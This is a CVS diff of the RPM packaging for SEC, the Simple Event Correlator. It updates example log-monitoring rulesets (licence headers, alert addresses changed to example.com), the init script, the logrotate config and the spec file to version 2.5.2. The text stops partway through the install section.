--- bsd-PHYSMOD.sec	1 Sep 2006 20:54:01 -0000	1.1
+++ bsd-PHYSMOD.sec	8 Oct 2009 16:44:33 -0000	1.2
@@ -1,9 +1,13 @@
 #
-# from http://sixshooter.v6.thrupoint.net/SEC-examples/article.html
-#
 # PHYSMOD.conf - Events concerning physical modifications
 #                to the system.
 #
+# from http://sixshooter.v6.thrupoint.net/SEC-examples/article.html
+#
+# Copyright (C) 2003-2009 Jim Brown
+# This is free software. You may redistribute copies of it under the terms of 
+# the GNU General Public License version 2.
+# There is NO WARRANTY, to the extent permitted by law.
 #
 #Logs involving physical modifications (PHYSMOD)
 #------------------------------------------------


Index: bsd-USERACT.sec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/EL-5/bsd-USERACT.sec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- bsd-USERACT.sec	1 Sep 2006 20:54:01 -0000	1.1
+++ bsd-USERACT.sec	8 Oct 2009 16:44:33 -0000	1.2
@@ -1,7 +1,12 @@
 #
+# Events concerning user activities.
+#
 # From http://sixshooter.v6.thrupoint.net/SEC-examples/article.html
 #
-# Events concerning user activities.
+# Copyright (C) 2003-2009 Jim Brown
+# This is free software. You may redistribute copies of it under the terms of 
+# the GNU General Public License version 2.
+# There is NO WARRANTY, to the extent permitted by law.
 #
 #Logs involving logins, change of UID and privilege escalations (USERACT)
 #-------------------------------------------------------------------------


Index: conf.README
===================================================================
RCS file: /cvs/pkgs/rpms/sec/EL-5/conf.README,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- conf.README	1 Sep 2006 20:54:01 -0000	1.1
+++ conf.README	8 Oct 2009 16:44:33 -0000	1.2
@@ -1,10 +1,10 @@
-This is the SEC configuration directory.  Because SEC usage varies so widely
-from user to user, this Fedora Extras package is configured by default to not
-run.
+This is the SEC configuration directory. Because SEC usage varies so widely
+from user to user, this package is configured by default to not run.
 
 The commented-out default settings in /etc/sysconfig/sec will load any file in
-this directory with a .sec suffix.  Please look through the example files
-included in /etc/sec/examples/ and install the ones you want here (taking into
-account that the examples are generic and some of them may need to be tweaked
-to work with your setup).  You should also read the SEC man page so you have
-at least a basic understanding of the SEC configuration commands.
+this directory with a .sec suffix. Please look through the example files
+included in /usr/share/doc/sec-<version>/examples/ and install the ones you
+want here (taking into account that the examples are generic and some of them
+may need to be tweaked to work with your setup). You should also read the SEC
+man page so you have at least a basic understanding of the SEC configuration
+commands.


Index: cvs.sec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/EL-5/cvs.sec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- cvs.sec	1 Sep 2006 20:54:01 -0000	1.1
+++ cvs.sec	8 Oct 2009 16:44:33 -0000	1.2
@@ -1,3 +1,11 @@
+#############################################################################
+# CVS events
+#
+# Copyright (C) 2003-2009 Matt Jonkman
+# This is free software. You may redistribute copies of it under the terms of 
+# the GNU General Public License version 2.
+# There is NO WARRANTY, to the extent permitted by law.
+#############################################################################
 
 #Jul 31 19:54:21 xxxx xinetd[2088]: START: cvspserver pid=16385 from=xx.xx.xx.xx
 
@@ -14,7 +22,7 @@ type=single
 ptype=regexp
 pattern=([A-z._0-9-]*) cvs: password mismatch for (.*) in (.*)
 desc = cvs login failure
-action=pipe '$1 $2 CVS Login Failure: User $2 from $3' /usr/bin/mail -s '$1 $2 CVS Login Failure: $2 from $3' alerts at yourdomain.com
+action=pipe '$1 $2 CVS Login Failure: User $2 from $3' /usr/bin/mail -s '$1 $2 CVS Login Failure: $2 from $3' alerts at example.com
 
 
 #Aug  5 10:38:49 xxxx cvs: attempt to root from account: username
@@ -23,7 +31,7 @@ type=single
 ptype=regexp
 pattern=([A-z._0-9-]*) cvs: attempt to root from account: (.*)
 desc = cvs login to root attempt
-action=pipe ' $1 $2 CVS Login to Root Attempt: User $2 ' /usr/bin/mail -s '$1 CVS Login to Root Failure: $2' alerts at yourdomain.com
+action=pipe ' $1 $2 CVS Login to Root Attempt: User $2 ' /usr/bin/mail -s '$1 CVS Login to Root Failure: $2' alerts at example.com
 
 
 #Aug  5 10:42:37 xxxx cvs: login failure (for /usr/local/cvsroot)
@@ -32,5 +40,5 @@ type=single
 ptype=regexp
 pattern=([A-z._0-9-]*) cvs: login failure \(for /usr/local/cvsroot\)
 desc = cvs login failure
-action=pipe '$1 $2 CVS Login Failure ' /usr/bin/mail -s '$1 CVS Login Failure' alerts at yourdomain.com
+action=pipe '$1 $2 CVS Login Failure ' /usr/bin/mail -s '$1 CVS Login Failure' alerts at example.com
 


Index: dameware.sec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/EL-5/dameware.sec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- dameware.sec	1 Sep 2006 20:54:01 -0000	1.1
+++ dameware.sec	8 Oct 2009 16:44:33 -0000	1.2
@@ -1,10 +1,19 @@
+#############################################################################
+# Dameware events
+#
+# Copyright (C) 2003-2009 Matt Jonkman
+# This is free software. You may redistribute copies of it under the terms of 
+# the GNU General Public License version 2.
+# There is NO WARRANTY, to the extent permitted by law.
+#############################################################################
+
 #Dameware Connect
 type=single
 ptype=regexp
 pattern=([A-z._0-9-]*) DMWRCS: (.*) Connect: (.*)
 desc = Dameware Connect
 action=add WINDOWS_REPORT DAMEWARE CONNECT: %s; \
-pipe 'DAMEWARE Connect -- : %s' /usr/bin/mail -s 'DAMEWARE CONNECT' alerts at yourdomain.com
+pipe 'DAMEWARE Connect -- : %s' /usr/bin/mail -s 'DAMEWARE CONNECT' alerts at example.com
 
 
 #Dameware Disconnect


Index: hp-openview.sec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/EL-5/hp-openview.sec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- hp-openview.sec	1 Sep 2006 20:54:01 -0000	1.1
+++ hp-openview.sec	8 Oct 2009 16:44:33 -0000	1.2
@@ -1,10 +1,14 @@
 ################################################################
 #          Sample SEC ruleset for HP OpenView ITO
+#
+# Copyright (C) 2003-2009 Risto Vaarandi
+# This is free software. You may redistribute copies of it under the terms of 
+# the GNU General Public License version 2.
+# There is NO WARRANTY, to the extent permitted by law.
 ################################################################
 
 # process Cisco linkDown/linkUp trap events received from 
 # HP OpenView ITO trap template through itostream plugin
-# Submitted by Risto Vaarandi
 
 type=PairWithWindow
 ptype=RegExp


Index: labrea.sec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/EL-5/labrea.sec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- labrea.sec	1 Sep 2006 20:54:01 -0000	1.1
+++ labrea.sec	8 Oct 2009 16:44:33 -0000	1.2
@@ -1,4 +1,11 @@
-#Labrea tarpit events
+#############################################################################
+# Labrea tarpit events
+#
+# Copyright (C) 2003-2009 Matt Jonkman
+# This is free software. You may redistribute copies of it under the terms of 
+# the GNU General Public License version 2.
+# There is NO WARRANTY, to the extent permitted by law.
+#############################################################################
 
 type=Single
 ptype=RegExp
@@ -25,5 +32,5 @@ type=Calendar
 time=0 8,12,20 * * *
 desc=Sending tarpit report...
 action=report TARPIT_REPORT \
-       /usr/bin/mail -s 'Tarpits: Tarpit Victim report' alerts at yourdomain.com; \
+       /usr/bin/mail -s 'Tarpits: Tarpit Victim report' alerts at example.com; \
        delete TARPIT_REPORT


Index: pix-security.sec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/EL-5/pix-security.sec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- pix-security.sec	1 Sep 2006 20:54:01 -0000	1.1
+++ pix-security.sec	8 Oct 2009 16:44:34 -0000	1.2
@@ -1,5 +1,10 @@
 ####################################################################
 #                SEC ruleset for Cisco PIX 6.x, 7.x
+#
+# Copyright (C) 2003-2009 Chris Sawall
+# This is free software. You may redistribute copies of it under the terms of 
+# the GNU General Public License version 2.
+# There is NO WARRANTY, to the extent permitted by law.
 ####################################################################
 
 # Process various events from PIX syslog output
@@ -19,7 +24,7 @@ type=SingleWithThreshold
 ptype=RegExp
 pattern=\s*.*Deny\s+(\w+)\s+src.*:(.*)/.*:(.*)/(\b2\d\b).*$
 desc=Unusual Failures:$1 $4/$2 -> $3
-action=create ffo_$1; add ffo_$1 %t; add ffo_$1 $0; report ffo_$1 /bin/mail -s "%s" email01 at domain.com; delete ffo_$1
+action=create ffo_$1; add ffo_$1 %t; add ffo_$1 $0; report ffo_$1 /bin/mail -s "%s" email01 at example.com; delete ffo_$1
 window=10
 thresh=10
 
@@ -31,7 +36,7 @@ continue=dontcont
 ptype=RegExp
 pattern=(212\.147\.14[12]\.)
 desc=Possible PHEL Trojan (1)
-action=create phel_$1; add phel_$1 Local Time = %t; add phel_$1 $0; report phel_$1 /bin/mail -s "%s" email01 at domain.com; delete phel_$1
+action=create phel_$1; add phel_$1 Local Time = %t; add phel_$1 $0; report phel_$1 /bin/mail -s "%s" email01 at example.com; delete phel_$1
 
 # ------------------------------------------------------------------
 # Watch for firewall failovers
@@ -50,7 +55,7 @@ continue=takenext
 ptype=RegExp
 pattern=\s*\S+\s(\d+\.\d+\.\d+\.\d+).*PIX-1-102001.*\(Primary\).*$
 desc=Secondary firewall for $1 - failure/reload
-action=create ffo_$1; add ffo_$1 %t; add ffo_$1 $0; report ffo_$1 /bin/mail -s "%s" email01 at domain.com; delete ffo_$1
+action=create ffo_$1; add ffo_$1 %t; add ffo_$1 $0; report ffo_$1 /bin/mail -s "%s" email01 at example.com; delete ffo_$1
 
 # Failure of secondary (standby) firewall while primary is active
 # Works for PIX 7.x
@@ -62,7 +67,7 @@ continue=takenext
 ptype=RegExp
 pattern=\s*\S+\s(\d+\.\d+\.\d+\.\d+).*PIX-1-102001.*\(Secondary\).*$
 desc=Primary firewall for $1 - failure/reload
-action=create ffo_$1; add ffo_$1 %t; add ffo_$1 $0; report ffo_$1 /bin/mail -s "%s" email01 at domain.com; delete ffo_$1
+action=create ffo_$1; add ffo_$1 %t; add ffo_$1 $0; report ffo_$1 /bin/mail -s "%s" email01 at example.com; delete ffo_$1
 
 # Failure of secondary (active), primary assumes active
 # Works for PIX 7.x
@@ -79,7 +84,7 @@ action=logonly
 ptype2=RegExp
 pattern2=\s*\S+\s(\d+\.\d+\.\d+\.\d+).*Primary\).*Peer state Standby Ready
 desc2=Secondary (was active) firewall ($1) has failed.  Primary is now active.
-action2=create ffo_$1; add ffo_$1 %t; add ffo_$1 $0; report ffo_$1 /bin/mail -s "%s" email01 at domain.com; delete ffo_$1
+action2=create ffo_$1; add ffo_$1 %t; add ffo_$1 $0; report ffo_$1 /bin/mail -s "%s" email01 at example.com; delete ffo_$1
 window=5
 
 # Failure of primary (active), secondary assumes active
@@ -97,7 +102,7 @@ action=logonly
 ptype2=RegExp
 pattern2=\s*\S+\s(\d+\.\d+\.\d+\.\d+).*Secondary\).*Peer state Standby Ready
 desc2=Primary firewall ($1) has failed.  Secondary is now active.
-action2=create ffo_$1; add ffo_$1 %t; add ffo_$1 $0; report ffo_$1 /bin/mail -s "%s" email01 at domain.com; delete ffo_$1
+action2=create ffo_$1; add ffo_$1 %t; add ffo_$1 $0; report ffo_$1 /bin/mail -s "%s" email01 at example.com; delete ffo_$1
 window=5
 
 # ------------------------------------------------------------------
@@ -114,7 +119,7 @@ continue=dontcont
 ptype=RegExp
 pattern=\s*\S+\s(\d+\.\d+\.\d+\.\d+).*PIX reload.*$
 desc=$1 has been manually rebooted
-action=create ffo_$1; add ffo_$1 %t; add ffo_$1 $0; report ffo_$1 /bin/mail -s "%s" email01 at domain.com ; delete ffo_$1
+action=create ffo_$1; add ffo_$1 %t; add ffo_$1 $0; report ffo_$1 /bin/mail -s "%s" email01 at example.com ; delete ffo_$1
 
 # Manual reload of PIX
 # Works for PIX 7.x
@@ -126,7 +131,7 @@ continue=dontcont
 ptype=RegExp
 pattern=\s*\S+\s(\d+\.\d+\.\d+\.\d+).*Orderly reload.*Reload reason:\s(\S+)
 desc=$1 has been manually rebooted, reason: $2
-action=create ffo_$1; add ffo_$1 %t; add ffo_$1 $0; report ffo_$1 /bin/mail -s "%s" email01 at domain.com; delete ffo_$1
+action=create ffo_$1; add ffo_$1 %t; add ffo_$1 $0; report ffo_$1 /bin/mail -s "%s" email01 at example.com; delete ffo_$1
 
 # ------------------------------------------------------------------
 # Watch for SSH logins/failures on firewalls
@@ -152,7 +157,7 @@ continue=dontcont
 ptype=RegExp
 pattern=\s*.*(10|172|192)\.(\d+\.\d+\.\d+).*Authentication succeeded.*\'(\S+)\'.*to\s(\d+\.\d+\.\d+\.\d+)\/0.*SSH
 desc=Admin Auth to $1.$2 -> $3 from $4
-action=create ssh_$1; add ssh_$1 Local Time = %t; add ssh_$1 $0; report ssh_$1 /bin/mail -s "%s" email01 at domain.com; delete ssh_$1
+action=create ssh_$1; add ssh_$1 Local Time = %t; add ssh_$1 $0; report ssh_$1 /bin/mail -s "%s" email01 at example.com; delete ssh_$1
 
 # Successful Admin SSH session
 # Works for PIX 7.x
@@ -165,7 +170,7 @@ continue=dontcont
 ptype=RegExp
 pattern=\s*.*(10|172|192)\.(\d+\.\d+\.\d+).*Authentication succeeded.*\'(\S+)\'\sfrom\s(\d+\.\d+\.\d+\.\d+)\/0.*/22.*$
 desc=Admin Auth to $1.$2 -> $3 from $4
-action=create ssh_$1; add ssh_$1 Local Time = %t; add ssh_$1 $0; report ssh_$1 /bin/mail -s "%s" email01 at domain.com; delete ssh_$1
+action=create ssh_$1; add ssh_$1 Local Time = %t; add ssh_$1 $0; report ssh_$1 /bin/mail -s "%s" email01 at example.com; delete ssh_$1
 
 # Failed Admin SSH session
 # Works for PIX 6.x
@@ -178,7 +183,7 @@ continue=takenext
 ptype=RegExp
 pattern=Authentication failed.*\'(\S+)\'.*SSH
 desc=Admin Auth FAILED -> $1
-action=create ssh_$1; add ssh_$1 %t; add ssh_$1 $0; report ssh_$1 /bin/mail -s "%s" email01 at domain.com; delete ssh_$1
+action=create ssh_$1; add ssh_$1 %t; add ssh_$1 $0; report ssh_$1 /bin/mail -s "%s" email01 at example.com; delete ssh_$1
 
 # Failed Admin SSH session
 # Works for PIX 7.x
@@ -191,7 +196,7 @@ continue=takenext
 ptype=RegExp
 pattern=Authentication failed.*\'(\S+)\'.*/22.*$
 desc=Admin Auth FAILED -> $1
-action=create ssh_$1; add ssh_$1 %t; add ssh_$1 $0; report ssh_$1 /bin/mail -s "%s" email01 at domain.com; delete ssh_$1
+action=create ssh_$1; add ssh_$1 %t; add ssh_$1 $0; report ssh_$1 /bin/mail -s "%s" email01 at example.com; delete ssh_$1
 
 # Normal SSH termination
 # Works for both PIX 6.x and 7.x
@@ -202,7 +207,7 @@ type=Single
 ptype=RegExp
 pattern=\s*\S+\s(\d+\.\d+\.\d+\.\d+).*\"(\S+)\".*terminated normally
 desc=ADMIN END $1 -> $2
-action=create ssh_$1; add ssh_$1 %t; add ssh_$1 $0; report ssh_$1 /bin/mail -s "%s" email01 at domain.com; delete ssh_$1
+action=create ssh_$1; add ssh_$1 %t; add ssh_$1 $0; report ssh_$1 /bin/mail -s "%s" email01 at example.com; delete ssh_$1
 
 # SSH session timeout or abnormal termination
 # Works for PIX 6.x
@@ -214,7 +219,7 @@ type=Single
 ptype=RegExp
 pattern=\s*\S+\s(\d+\.\d+\.\d+\.\d+).*disconnected by SSH server
 desc=Firewall session END - timeout $1
-action=create ssh_$1; add ssh_$1 %t; add ssh_$1 $0; report ssh_$1 /bin/mail -s "%s" email01 at domain.com; delete ssh_$1
+action=create ssh_$1; add ssh_$1 %t; add ssh_$1 $0; report ssh_$1 /bin/mail -s "%s" email01 at example.com; delete ssh_$1
 
 # ------------------------------------------------------------------
 # Watch for firewall commands
@@ -228,7 +233,7 @@ type=Single
 ptype=RegExp
 pattern=\s*\S+\s(\d+\.\d+\.\d+\.\d+).*write\sm.*
 desc=User wrote config to memory -> $1
-action=create fwcmd_$1; add fwcmd_$1 %t; add fwcmd_$1 $0; report fwcmd_$1 /bin/mail -s "%s" email01 at domain.com; delete fwcmd_$1
+action=create fwcmd_$1; add fwcmd_$1 %t; add fwcmd_$1 $0; report fwcmd_$1 /bin/mail -s "%s" email01 at example.com; delete fwcmd_$1
 
 # Watch for HIGH CPU Utilization
 # Works for PIX 6.x
@@ -237,5 +242,5 @@ type=Single
 ptype=RegExp
 pattern=PIX-.-211003
 desc=HIGH CPU Utilization
-action=create fwcmd_$1; add fwcmd_$1 %t; add fwcmd_$1 $0; report fwcmd_$1 /bin/mail -s "%s" email01 at domain.com; delete fwcmd_$1
+action=create fwcmd_$1; add fwcmd_$1 %t; add fwcmd_$1 $0; report fwcmd_$1 /bin/mail -s "%s" email01 at example.com; delete fwcmd_$1
 


Index: pix-url.sec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/EL-5/pix-url.sec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- pix-url.sec	1 Sep 2006 20:54:01 -0000	1.1
+++ pix-url.sec	8 Oct 2009 16:44:34 -0000	1.2
@@ -1,5 +1,10 @@
 ####################################################################
 #                SEC ruleset for Monitoring Keywords
+#
+# Copyright (C) 2003-2009 Chris Sawall
+# This is free software. You may redistribute copies of it under the terms of 
+# the GNU General Public License version 2.
+# There is NO WARRANTY, to the extent permitted by law.
 ####################################################################
 
 # This particular ruleset was designed to monitor PIX syslog traffic
@@ -41,7 +46,7 @@ type=Single
 ptype=PerlFunc
 pattern=sub {($_[0] =~ /($list)/) }
 desc=Inappropriate word in URL
-action=create ssh_$1; add ssh_$1 %t; add ssh_$1 $0; report ssh_$1 /bin/mail -s "%s" email01 at domain.com; delete ssh_$1
+action=create ssh_$1; add ssh_$1 %t; add ssh_$1 $0; report ssh_$1 /bin/mail -s "%s" email01 at example.com; delete ssh_$1
 
 #
 # Examples of "watch4badwords" and "watch4excludes"


Index: portscan.sec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/EL-5/portscan.sec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- portscan.sec	1 Sep 2006 20:54:01 -0000	1.1
+++ portscan.sec	8 Oct 2009 16:44:34 -0000	1.2
@@ -1,5 +1,10 @@
 ################################################################
 # Sample SEC ruleset for "PORTSCAN FROM ip1 TO ip2:port" events
+#
+# Copyright (C) 2003-2009 Risto Vaarandi
+# This is free software. You may redistribute copies of it under the terms of 
+# the GNU General Public License version 2.
+# There is NO WARRANTY, to the extent permitted by law.
 ################################################################
 
 # process "PORTSCAN FROM ip1 TO ip2:port" events, and if a certain
@@ -35,6 +40,6 @@ context=HORIZONTAL_PORTSWEEP_FROM_SOURCE
 continue=DontCont
 desc=$1 has scanned more than 10 destinations
 action=report HORIZONTAL_PORTSWEEP_FROM_SOURCE_IP_$1_TO_TARGET_PORT_$3 \
-       mail -s 'Horizontal port sweep from $1 target port $3' root at localhost; \
+       mail -s 'Horizontal port sweep from $1 target port $3' root at example.com; \
        delete HORIZONTAL_PORTSWEEP_FROM_SOURCE_IP_$1_TO_TARGET_PORT_$3; \
        eval %o ( delete $portscans{"$1:$3"} )


Index: sec.init
===================================================================
RCS file: /cvs/pkgs/rpms/sec/EL-5/sec.init,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sec.init	1 Sep 2006 20:54:01 -0000	1.1
+++ sec.init	8 Oct 2009 16:44:34 -0000	1.2
@@ -1,88 +1,102 @@
 #!/bin/bash
 #
-# sec           This starts and stops SEC
+# sec           Start and stop SEC.
 #
-# chkconfig:    - 26 74
+# chkconfig:    - 20 80
 # description:  Simple Event Correlator script to filter log file entries
-# processname:  /usr/bin/sec
-# config:       /etc/sysconfig/sec
-# pidfile:      /var/run/sec.pid
-#
-
-# Source function library.
-    . /etc/rc.d/init.d/functions
-
-# Default to a clean return value
-    RETVAL=0
-
-# Program we'll be executing
-    EXEC='/usr/bin/sec'
-    prog='sec'
 
-    [ -f $EXEC ] || exit 0
+. /etc/rc.d/init.d/functions
 
-# Source the config
-    [ -e /etc/sysconfig/$prog ] && . /etc/sysconfig/$prog
+prog="sec"
+exec="/usr/bin/sec"
+lockfile="/var/lock/subsys/sec"
 
-# No options defined means that sec can't run
-    [ -z "$SEC_ARGS" ] && exit 0
-
-# And away we go...
+[ -e /etc/sysconfig/$prog ] && . /etc/sysconfig/$prog
 
 start() {
-    for n in `seq 0 $((${#SEC_ARGS[*]} - 1))`; do
-        echo -n $"Starting $prog instance "$(($n + 1))": "
-        daemon $EXEC ${SEC_ARGS[$n]}
-        RETVAL=$?
-        [ $RETVAL -ne 0 ] && return $RETVAL
-    done
-    touch /var/lock/subsys/$prog
-    return $RETVAL
+	[ -x $exec ] || exit 5
+	for n in `seq 0 $((${#SEC_ARGS[*]} - 1))`; do
+		echo -n $"Starting $prog instance "$(($n + 1))": "
+		daemon $exec ${SEC_ARGS[$n]}
+		RETVAL=$?
+		echo
+		[ $RETVAL -ne 0 ] && return $RETVAL
+	done
+	touch $lockfile
+	return $RETVAL
 }
 
 stop() {
-    echo -n $"Stopping $prog: "
-    killproc $prog
-    RETVAL=$?
-    echo
-    [ $RETVAL -eq 0 ] && rm -f /var/lock/subsys/$prog
-    return $RETVAL
+	echo -n $"Stopping $prog: "
+	killproc $prog
+	RETVAL=$?
+	echo
+	[ $RETVAL -eq 0 ] && rm -f $lockfile
+	return $RETVAL
+}
+
+restart() {
+	stop
+	start
 }
 
 reload() {
-    echo -n $"Reloading configuration: "
-    killproc $prog -HUP
-    RETVAL=$?
-    echo
-    return $RETVAL
+	echo -n $"Reloading $prog: "
+	killproc $prog -HUP
+	RETVAL=$?
+	echo
+	return $RETVAL
 }
 
-restart() {
-    stop
-    start
+force_reload() {
+	restart
 }
 
-dump() {
-    echo -n $"Dumping state in /tmp/sec.dump: "
-    killproc $prog -USR1
-    RETVAL=$?
-    echo
-    return $RETVAL
+rh_status() {
+	status $prog
 }
 
-sec_status() {
-    status $prog
+rh_status_q() {
+	rh_status >/dev/null 2>&1
+}
+
+dump() {
+	echo -n $"Dumping state of $prog in /tmp/sec.dump: "
+	killproc $prog -USR1
+	RETVAL=$?
+	echo
+	return $RETVAL
 }
 
 case "$1" in
-    start|stop|reload|restart|dump)
-        $1
-        ;;
-    status)
-        sec_status
-        ;;
-    *)
-        echo $"Usage: $0 {start|stop|reload|restart|dump|status}"
-        exit 2
+  start)
+	start
+	;;
+  stop)
+	stop
+	;;
+  restart)
+	restart
+	;;
+  condrestart|try-restart)
+	rh_status_q || exit 0
+	restart
+	;;
+  reload)
+	reload
+	;;
+  force-reload)
+	force_reload
+	;;
+  status)
+	rh_status
+	;;
+  dump)
+	dump
+	;;
+  *)
+	echo $"Usage: $0 {start|stop|restart|condrestart|try-restart|reload|force-reload|status|dump}"
+	exit 2
 esac
 
+exit $?


Index: sec.logrotate
===================================================================
RCS file: /cvs/pkgs/rpms/sec/EL-5/sec.logrotate,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sec.logrotate	1 Sep 2006 20:54:01 -0000	1.1
+++ sec.logrotate	8 Oct 2009 16:44:34 -0000	1.2
@@ -3,6 +3,6 @@
     notifempty
     sharedscripts
     postrotate
-        /sbin/service sec reload 2> /dev/null > /dev/null || true
+        /sbin/service sec reload >/dev/null 2>&1 || true
     endscript
 }


Index: sec.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/EL-5/sec.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sec.spec	28 May 2007 20:32:33 -0000	1.3
+++ sec.spec	8 Oct 2009 16:44:34 -0000	1.4
@@ -1,198 +1,132 @@
-#
-# Specfile for SEC, the simple event correlator
-#
-# https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=169345
-#
-
 Name:           sec
-Version:        2.4.1
+Version:        2.5.2
 Release:        1%{?dist}
-Summary:        SEC (simple event correlator)
-
+Summary:        Simple Event Correlator script to filter log file entries
 Group:          System Environment/Daemons
-License:        GPL
-URL:            http://www.estpak.ee/~risto/sec/
-
-################################################################################
-
+License:        GPLv2+
+URL:            http://simple-evcorr.sourceforge.net/
 Source0:        http://dl.sourceforge.net/simple-evcorr/%{name}-%{version}.tar.gz
 Source1:        sec.sysconfig
 Source2:        sec.init
 Source3:        sec.logrotate
-
 # Example files and configuration info
-Source100:      conf.README
-Source101:      http://www.estpak.ee/~risto/sec/examples/syslog-ng.txt
-Source102:      001_init.sec
-Source103:      http://www.bleedingsnort.com/sec/amavisd.sec
-Source104:      http://www.bleedingsnort.com/sec/bsd-MONITOR.sec
-Source105:      http://www.bleedingsnort.com/sec/bsd-PHYSMOD.sec
-Source106:      http://www.bleedingsnort.com/sec/bsd-USERACT.sec
-Source107:      http://www.bleedingsnort.com/sec/clamav.sec
-Source108:      http://www.bleedingsnort.com/sec/cvs.sec
-Source109:      http://www.bleedingsnort.com/sec/dameware.sec
-Source110:      http://www.bleedingsnort.com/sec/dbi-example.sec
-Source111:      http://www.bleedingsnort.com/sec/general.sec
-Source112:      http://www.bleedingsnort.com/sec/hp-openview.sec
-Source113:      http://www.bleedingsnort.com/sec/labrea.sec
-Source114:      http://www.bleedingsnort.com/sec/mpd.sec
-Source115:      http://www.bleedingsnort.com/sec/pix-security.sec
-Source116:      http://www.bleedingsnort.com/sec/pix-url.sec
-Source117:      http://www.bleedingsnort.com/sec/portscan.sec
-Source118:      http://www.bleedingsnort.com/sec/snort.sec
-Source119:      http://www.bleedingsnort.com/sec/snortsam.sec
-Source120:      http://www.bleedingsnort.com/sec/ssh-brute.sec
-Source121:      http://www.bleedingsnort.com/sec/ssh.sec
-Source122:      http://www.bleedingsnort.com/sec/vtund.sec
-Source123:      http://www.bleedingsnort.com/sec/windows.sec
-
-BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
+Source4:        conf.README
+Source5:        http://simple-evcorr.sourceforge.net/rulesets/amavisd.sec
+Source6:        http://simple-evcorr.sourceforge.net/rulesets/bsd-MONITOR.sec
+Source7:        http://simple-evcorr.sourceforge.net/rulesets/bsd-PHYSMOD.sec
+Source8:        http://simple-evcorr.sourceforge.net/rulesets/bsd-USERACT.sec
+Source9:        http://simple-evcorr.sourceforge.net/rulesets/bsd-general.sec
+Source10:       http://simple-evcorr.sourceforge.net/rulesets/bsd-mpd.sec
+Source11:       http://simple-evcorr.sourceforge.net/rulesets/cisco-syslog.sec
+Source12:       http://simple-evcorr.sourceforge.net/rulesets/cvs.sec
+Source13:       http://simple-evcorr.sourceforge.net/rulesets/dameware.sec
+Source14:       http://simple-evcorr.sourceforge.net/rulesets/hp-openview.sec
+Source15:       http://simple-evcorr.sourceforge.net/rulesets/labrea.sec
+Source16:       http://simple-evcorr.sourceforge.net/rulesets/pix-general.sec
+Source17:       http://simple-evcorr.sourceforge.net/rulesets/pix-security.sec
+Source18:       http://simple-evcorr.sourceforge.net/rulesets/pix-url.sec
+Source19:       http://simple-evcorr.sourceforge.net/rulesets/portscan.sec
+Source20:       http://simple-evcorr.sourceforge.net/rulesets/snort.sec
+Source21:       http://simple-evcorr.sourceforge.net/rulesets/snortsam.sec
+Source22:       http://simple-evcorr.sourceforge.net/rulesets/ssh-brute.sec
+Source23:       http://simple-evcorr.sourceforge.net/rulesets/ssh.sec
+Source24:       http://simple-evcorr.sourceforge.net/rulesets/vtund.sec
+Source25:       http://simple-evcorr.sourceforge.net/rulesets/windows.sec
+BuildArch:      noarch
+BuildRoot:      %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 
-BuildArch:		noarch
-
-################################################################################
+# The init script uses arrays, so we need bash
+Requires:       bash
+Requires:       logrotate
 
-Requires(post):	    chkconfig
+Requires(post):     chkconfig
 Requires(postun):   initscripts
 Requires(preun):    initscripts, chkconfig
 
-# The init script uses arrays, so we need bash
-Requires:           bash
-
-# Not required specifically by SEC, but our examples use it so we might as well
-# create a requirement for logrotate.
-Requires:           logrotate
-
-# Some alternate names for the package that users might search for
-Provides:           simple-evcorr
-Provides:           sec.pl
-
-################################################################################
-
 %description
-SEC is an open source and platform independent event correlation tool that
-was designed to fill the gap between commercial event correlation systems and
-homegrown solutions that usually comprise a few simple shell scripts.
-SEC accepts input from regular files, named pipes, and standard input, and can
-thus be employed as an event correlator for any application that is able to
-write its output events to a file stream.
-
-################################################################################
+SEC is a simple event correlation tool that reads lines from files, named
+pipes, or standard input, and matches the lines with regular expressions,
+Perl subroutines, and other patterns for recognizing input events.
+Events are then correlated according to the rules in configuration files,
+producing output events by executing user-specified shell commands, by
+writing messages to pipes or files, etc.
 
 %prep
 %setup -q
 
-# Replace some tags in the config files
-    sed -i -e 's/@@NAME@@/%{name}/'    \
-        %{SOURCE1}                     \
-        %{SOURCE2}                     \
-        %{SOURCE3}
-
-# Fix the bindir in case a user wants it put in a different location
-    sed -i -e 's#/usr/bin/sec#%{_bindir}/sec#' \
-        %{SOURCE2}
-
-################################################################################
+%build
 
 %install
-
-rm -rf $RPM_BUILD_ROOT
-
-# Create the directories we'll need
-    install -d -m 755 $RPM_BUILD_ROOT%{_initrddir}
-    install -d -m 755 $RPM_BUILD_ROOT%{_localstatedir}/log
-    install -d -m 755 $RPM_BUILD_ROOT%{_localstatedir}/run
-    install -d -m 755 $RPM_BUILD_ROOT%{_sysconfdir}/logrotate.d
-    install -d -m 755 $RPM_BUILD_ROOT%{_sysconfdir}/sysconfig
-    install -d -m 755 $RPM_BUILD_ROOT%{_sysconfdir}/%{name}/examples
+rm -rf %{buildroot}
 
 # Install SEC and its associated files
